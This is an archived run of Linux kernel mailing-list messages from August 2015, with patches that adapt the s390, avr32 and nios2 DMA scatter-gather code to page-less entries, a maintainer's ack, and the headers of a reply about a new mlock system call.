Xref: news.gmane.org gmane.linux.ports.mips.general:49956 gmane.linux.kernel:2018398 gmane.linux.kernel.cross-arch:28861 gmane.linux.ports.alpha:3302 gmane.linux.ports.ia64:25701 gmane.linux.kernel.metag:612 gmane.linux.ports.parisc:25928 gmane.linux.ports.ppc64.devel:116753 gmane.linux.ports.sparc:21407 gmane.linux.drivers.video-input-infrastructure:93951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49956>

Use sg_phys() instead of page_to_phys(sg_page(sg)) so that we don't
require a page structure for all DMA memory.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/s390/pci/pci_dma.c | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
index 6fd8d58..aae5a47 100644
--- a/arch/s390/pci/pci_dma.c
+++ b/arch/s390/pci/pci_dma.c
@@ -272,14 +272,13 @@ int dma_set_mask(struct device *dev, u64 mask)
 }
 EXPORT_SYMBOL_GPL(dma_set_mask);
 
-static dma_addr_t s390_dma_map_pages(struct device *dev, struct page *page,
-				     unsigned long offset, size_t size,
+static dma_addr_t s390_dma_map_phys(struct device *dev, unsigned long pa,
+				     size_t size,
 				     enum dma_data_direction direction,
 				     struct dma_attrs *attrs)
 {
 	struct zpci_dev *zdev = get_zdev(to_pci_dev(dev));
 	unsigned long nr_pages, iommu_page_index;
-	unsigned long pa = page_to_phys(page) + offset;
 	int flags = ZPCI_PTE_VALID;
 	dma_addr_t dma_addr;
 
@@ -301,7 +300,7 @@ static dma_addr_t s390_dma_map_pages(struct device *dev, struct page *page,
 
 	if (!dma_update_trans(zdev, pa, dma_addr, size, flags)) {
 		atomic64_add(nr_pages, &zdev->mapped_pages);
-		return dma_addr + (offset & ~PAGE_MASK);
+		return dma_addr + (pa & ~PAGE_MASK);
 	}
 
 out_free:
@@ -312,6 +311,16 @@ out_err:
 	return DMA_ERROR_CODE;
 }
 
+static dma_addr_t s390_dma_map_pages(struct device *dev, struct page *page,
+				     unsigned long offset, size_t size,
+				     enum dma_data_direction direction,
+				     struct dma_attrs *attrs)
+{
+	unsigned long pa = page_to_phys(page) + offset;
+
+	return s390_dma_map_phys(dev, pa, size, direction, attrs);
+}
+
 static void s390_dma_unmap_pages(struct device *dev, dma_addr_t dma_addr,
 				 size_t size, enum dma_data_direction direction,
 				 struct dma_attrs *attrs)
@@ -384,8 +393,7 @@ static int s390_dma_map_sg(struct device *dev, struct scatterlist *sg,
 	int i;
 
 	for_each_sg(sg, s, nr_elements, i) {
-		struct page *page = sg_page(s);
-		s->dma_address = s390_dma_map_pages(dev, page, s->offset,
+		s->dma_address = s390_dma_map_phys(dev, sg_phys(s),
 						    s->length, dir, NULL);
 		if (!dma_mapping_error(dev, s->dma_address)) {
 			s->dma_length = s->length;
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 20/31] avr32: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:39 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <1439363150-8661-21-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363686 30599 80.91.229.3 (12 Aug 2015 07:14:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:14:46 +0000 (UTC)
Cc: dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org,
	hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org, realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, alex.williamson-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	linux-nvdimm-y27Ovi1pjclAfugRpC6u6w@public.gmane.org, linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org, axboe-tSWWG44O7X1aa/9Udqfwiw@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Aug 12 09:14:43 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZPQFG-0000nP-BM
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 12 Aug 2015 09:14:42 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S934329AbbHLHOb (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 12 Aug 2015 03:14:31 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:53240 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965217AbbHLHJm (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 12 Aug 2015 03:09:42 -0400
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZPQAK-0001m7-1u; Wed, 12 Aug 2015 07:09:36 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:613 gmane.linux.kernel:2018399 gmane.linux.kernel.cross-arch:28862 gmane.linux.ports.alpha:3303 gmane.linux.ports.ia64:25702 gmane.linux.ports.mips.general:49957 gmane.linux.ports.parisc:25929 gmane.linux.ports.ppc64.devel:116754 gmane.linux.ports.sparc:21408 gmane.linux.drivers.video-input-infrastructure:93952
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/613>

Make all cache invalidation conditional on sg_has_page() and use
sg_phys to get the physical address directly, bypassing the noop
page_to_bus.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/avr32/include/asm/dma-mapping.h | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/arch/avr32/include/asm/dma-mapping.h b/arch/avr32/include/asm/dma-mapping.h
index ae7ac92..a662ce2 100644
--- a/arch/avr32/include/asm/dma-mapping.h
+++ b/arch/avr32/include/asm/dma-mapping.h
@@ -216,11 +216,9 @@ dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
 	struct scatterlist *sg;
 
 	for_each_sg(sglist, sg, nents, i) {
-		char *virt;
-
-		sg->dma_address = page_to_bus(sg_page(sg)) + sg->offset;
-		virt = sg_virt(sg);
-		dma_cache_sync(dev, virt, sg->length, direction);
+		sg->dma_address = sg_phys(sg);
+		if (sg_has_page(sg))
+			dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
 	}
 
 	return nents;
@@ -328,8 +326,10 @@ dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
 	int i;
 	struct scatterlist *sg;
 
-	for_each_sg(sglist, sg, nents, i)
-		dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
+	for_each_sg(sglist, sg, nents, i) {
+		if (sg_has_page(sg))
+			dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
+	}
 }
 
 /* Now for the API extensions over the pci_ one */
-- 
1.9.1


From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: [PATCH 18/31] nios2: handle page-less SG entries
Date: Wed, 12 Aug 2015 09:05:37 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <1439363150-8661-19-git-send-email-hch@lst.de>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1439363708 30859 80.91.229.3 (12 Aug 2015 07:15:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 07:15:08 +0000 (UTC)
Cc: dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        dhowells@redhat.com, monstr@monstr.eu, x86@kernel.org,
        dwmw2@infradead.org, alex.williamson@redhat.com,
        grundler@parisc-linux.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-nvdimm@ml01.01.org, linux-media@vger.kernel.org
To: torvalds@linux-foundation.org, axboe@kernel.dk
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 09:14:56 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPQFU-0000wl-2e
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 09:14:56 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:38411 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011491AbbHLHOvLlv1j (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 09:14:51 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 09:14:36 +0200 (CEST)
Original-Received: from bombadil.infradead.org ([198.137.202.9]:35061 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27012049AbbHLHJiW6uAj (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 09:09:38 +0200
Original-Received: from p5de57192.dip0.t-ipconnect.de ([93.229.113.146] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
        id 1ZPQAE-0001kR-9A; Wed, 12 Aug 2015 07:09:30 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1439363150-8661-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
        See http://www.infradead.org/rpr.html
X-archive-position: 48794
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hch@lst.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49958 gmane.linux.kernel:2018400 gmane.linux.kernel.cross-arch:28863 gmane.linux.ports.alpha:3304 gmane.linux.ports.ia64:25703 gmane.linux.kernel.metag:614 gmane.linux.ports.parisc:25930 gmane.linux.ports.ppc64.devel:116755 gmane.linux.ports.sparc:21409 gmane.linux.drivers.video-input-infrastructure:93953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49958>

Make all cache invalidation conditional on sg_has_page() and use
sg_phys to get the physical address directly.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/nios2/mm/dma-mapping.c | 29 +++++++++++++++--------------
 1 file changed, 15 insertions(+), 14 deletions(-)

diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index ac5da75..1a0a68d 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -64,13 +64,11 @@ int dma_map_sg(struct device *dev, struct scatterlist *sg, int nents,
 	BUG_ON(!valid_dma_direction(direction));
 
 	for_each_sg(sg, sg, nents, i) {
-		void *addr;
-
-		addr = sg_virt(sg);
-		if (addr) {
-			__dma_sync_for_device(addr, sg->length, direction);
-			sg->dma_address = sg_phys(sg);
+		if (sg_has_page(sg)) {
+			__dma_sync_for_device(sg_virt(sg), sg->length,
+						direction);
 		}
+		sg->dma_address = sg_phys(sg);
 	}
 
 	return nents;
@@ -113,9 +111,8 @@ void dma_unmap_sg(struct device *dev, struct scatterlist *sg, int nhwentries,
 		return;
 
 	for_each_sg(sg, sg, nhwentries, i) {
-		addr = sg_virt(sg);
-		if (addr)
-			__dma_sync_for_cpu(addr, sg->length, direction);
+		if (sg_has_page(sg))
+			__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
 	}
 }
 EXPORT_SYMBOL(dma_unmap_sg);
@@ -166,8 +163,10 @@ void dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg, int nelems,
 	BUG_ON(!valid_dma_direction(direction));
 
 	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+	for_each_sg(sg, sg, nelems, i) {
+		if (sg_has_page(sg))
+			__dma_sync_for_cpu(sg_virt(sg), sg->length, direction);
+	}
 }
 EXPORT_SYMBOL(dma_sync_sg_for_cpu);
 
@@ -179,8 +178,10 @@ void dma_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 	BUG_ON(!valid_dma_direction(direction));
 
 	/* Make sure that gcc doesn't leave the empty loop body.  */
-	for_each_sg(sg, sg, nelems, i)
-		__dma_sync_for_device(sg_virt(sg), sg->length, direction);
-
+	for_each_sg(sg, sg, nelems, i) {
+		if (sg_has_page(sg))
+			__dma_sync_for_device(sg_virt(sg), sg->length,
+					direction);
+	}
 }
 EXPORT_SYMBOL(dma_sync_sg_for_device);
-- 
1.9.1




From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure
Subject: Re: [PATCH 20/31] avr32: handle page-less SG entries
Date: Wed, 12 Aug 2015 11:36:16 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20150812093615.GA16483@samfundet.no>
References: <1439363150-8661-1-git-send-email-hch@lst.de>
 <1439363150-8661-21-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1439372242 1607 80.91.229.3 (12 Aug 2015 09:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 09:37:22 +0000 (UTC)
Cc: torvalds@linux-foundation.org, axboe@kernel.dk,
        dan.j.williams@intel.com, vgupta@synopsys.com,
        hskinnemoen@gmail.com, realmz6@gmail.com, dhowells@redhat.com,
        monstr@monstr.eu, x86@kernel.org, dwmw2@infradead.org,
        alex.williamson@redhat.com, grundler@parisc-linux.org,
        linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, linux-nvdimm@ml01.01.org,
        linux-media@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Aug 12 11:37:14 2015
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1ZPSTB-0002Gt-Q3
	for sgi-linux-mips@gmane.org; Wed, 12 Aug 2015 11:37:13 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:41685 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011433AbbHLJhLVU6LX (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 12 Aug 2015 11:37:11 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 12 Aug 2015 11:36:56 +0200 (CEST)
Original-Received: from cassarossa.samfundet.no ([193.35.52.29]:50425 "EHLO
        cassarossa.samfundet.no" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011323AbbHLJgyZ2H4X (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 12 Aug 2015 11:36:54 +0200
Original-Received: from egtvedt by cassarossa.samfundet.no with local (Exim 4.80)
        (envelope-from <egtvedt@samfundet.no>)
        id 1ZPSSG-0006O7-1Y; Wed, 12 Aug 2015 11:36:16 +0200
Content-Disposition: inline
In-Reply-To: <1439363150-8661-21-git-send-email-hch@lst.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-archive-position: 48811
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: egtvedt@samfundet.no
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:49962 gmane.linux.kernel:2018608 gmane.linux.kernel.cross-arch:28864 gmane.linux.ports.alpha:3305 gmane.linux.ports.ia64:25704 gmane.linux.kernel.metag:615 gmane.linux.ports.parisc:25931 gmane.linux.ports.ppc64.devel:116759 gmane.linux.ports.sparc:21411 gmane.linux.drivers.video-input-infrastructure:93957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/49962>

Around Wed 12 Aug 2015 09:05:39 +0200 or thereabout, Christoph Hellwig wrote:
> Make all cache invalidation conditional on sg_has_page() and use
> sg_phys to get the physical address directly, bypassing the noop
> page_to_bus.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>

Acked-by: Hans-Christian Egtvedt <egtvedt@samfundet.no>

> ---
>  arch/avr32/include/asm/dma-mapping.h | 14 +++++++-------
>  1 file changed, 7 insertions(+), 7 deletions(-)
> 
> diff --git a/arch/avr32/include/asm/dma-mapping.h b/arch/avr32/include/asm/dma-mapping.h
> index ae7ac92..a662ce2 100644
> --- a/arch/avr32/include/asm/dma-mapping.h
> +++ b/arch/avr32/include/asm/dma-mapping.h
> @@ -216,11 +216,9 @@ dma_map_sg(struct device *dev, struct scatterlist *sglist, int nents,
>  	struct scatterlist *sg;
>  
>  	for_each_sg(sglist, sg, nents, i) {
> -		char *virt;
> -
> -		sg->dma_address = page_to_bus(sg_page(sg)) + sg->offset;
> -		virt = sg_virt(sg);
> -		dma_cache_sync(dev, virt, sg->length, direction);
> +		sg->dma_address = sg_phys(sg);
> +		if (sg_has_page(sg))
> +			dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
>  	}
>  
>  	return nents;
> @@ -328,8 +326,10 @@ dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist,
>  	int i;
>  	struct scatterlist *sg;
>  
> -	for_each_sg(sglist, sg, nents, i)
> -		dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
> +	for_each_sg(sglist, sg, nents, i) {
> +		if (sg_has_page(sg))
> +			dma_cache_sync(dev, sg_virt(sg), sg->length, direction);
> +	}
>  }
>  
>  /* Now for the API extensions over the pci_ one */
-- 
mvh
Hans-Christian Egtvedt



From - Thu Nov 08 21:37:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v7 2/6] mm: mlock: Add new mlock system call
Date: Wed, 12 Aug 2015 11:45:58 +0200
Lines: 139
Approved: news@gmane.org
Message-ID: <20150812094558.GD14940@dhcp22.suse.cz>
References: <1439097776-27695-1-git-send-email-emunson@akamai.com>
 <1439097776-27695-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1439372781 10160 80.91.229.3 (12 Aug 2015 09:46:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 12 Aug 2015 09:46:21 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	Andrea Arcangeli <aarcange@redhat.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: owner-linux-mm@kvack.org Wed Aug 12 11:46:05 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZPSbj-0007aB-26
	for glkm-linux-mm-2@m.gmane.org; Wed, 12 Aug 2015 11:46:03 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 0D7139003C7; Wed, 12 Aug 2015 05:46:02 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 087436B0253; Wed, 12 Aug 2015 05:46:02 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id EE00B9003C7; Wed, 12 Aug 2015 05:46:01 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f175.google.com (mail-wi0-f175.google.com [209.85.212.175])
	by kanga.kvack.org (Postfix) with ESMTP id 972C76B0038
	for <linux-mm@kvack.org>; Wed, 12 Aug 2015 05:46:01 -0400 (EDT)
Original-Received: by wicja10 with SMTP id ja10so20023830wic.1
        for <linux-mm@kvack.org>; Wed, 12 Aug 2015 02:46:01 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=9dME5Ho6qq8fJhZBs1natqEf3vjNv9Gqpn5omdJqDzw=;
        b=kmRMIf6Wh591400/8VYX1bVHjV9WNF6Er9WzBEzGnL403eFfaJxgN0UqOfhPrQ8kXJ
         BlZA42pTTu0+GcgcI4R3rWwHhm/JMi/w4041ipQ8CZeEItSK7nwkSUFxwrOZXt8AY8ji
         4K7gXl6UIxMXgSJ5maCCWRROjdOZhHjZhypPqpFISbIv3wM/MWP6i7p6AD6Kd0mOGpjk
         kre9ERbc+KsEY5yqOyldQ6Irzf6oCowVn0siCi0VT0IYho9tPv4puuIa9Szm3XGmKghE
         4Wb5CIRTWVzLdzwDSc9bCda5r/IfXtvC8tU4Dz9izHCF9AMxhaNj8pR/Fk1xfQENvQ0v
         eBeQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: domain of mstsxfx@gmail.com designates 209.85.212.169 as permitted sender) smtp.mailfrom=mstsxfx@gmail.com
X-Gm-Message-State: ALoCoQlTU0F94YKE+3DzlB+JDpO4KTCJ4XhXUQVmr4dlV75oS1SqEzlM6E8l4/Kyr61QseZ52GrXgqeGW7cSLORW5OjWX+zi6jGk4890/ev6FlIO3oCi9txTN2jQszgN/6CxfEINtGCAMdkNMV90EhvlVVrR23uVlHMcfO7BuiG5fjoHuL/43127mP6I01SxBGVfbTnzkclU1klUxAs15NbGiCBESs14OdDpbY3VufN51b+UvThsyHxCROBfS/E9w0q3N4Jf1K4djF+yQ2nvTAxFpiQn8BxEBh9GIUv9e4b5LJfNAXW8g1s=
X-Received: by 10.180.76.177 with SMTP id l17mr36990580wiw.14.1439372761206;
        Wed, 12 Aug 2015 02:46:01 -0700 (PDT)
X-Received: by 10.180.76.177 with SMTP id l17mr36990466wiw.14.1439372760220;
        Wed, 12 Aug 2015 02:46:00 -0700 (PDT)
Original-Received: from mail-wi0-f169.google.com (mail-wi0-f169.google.com. [209.85.212.169])
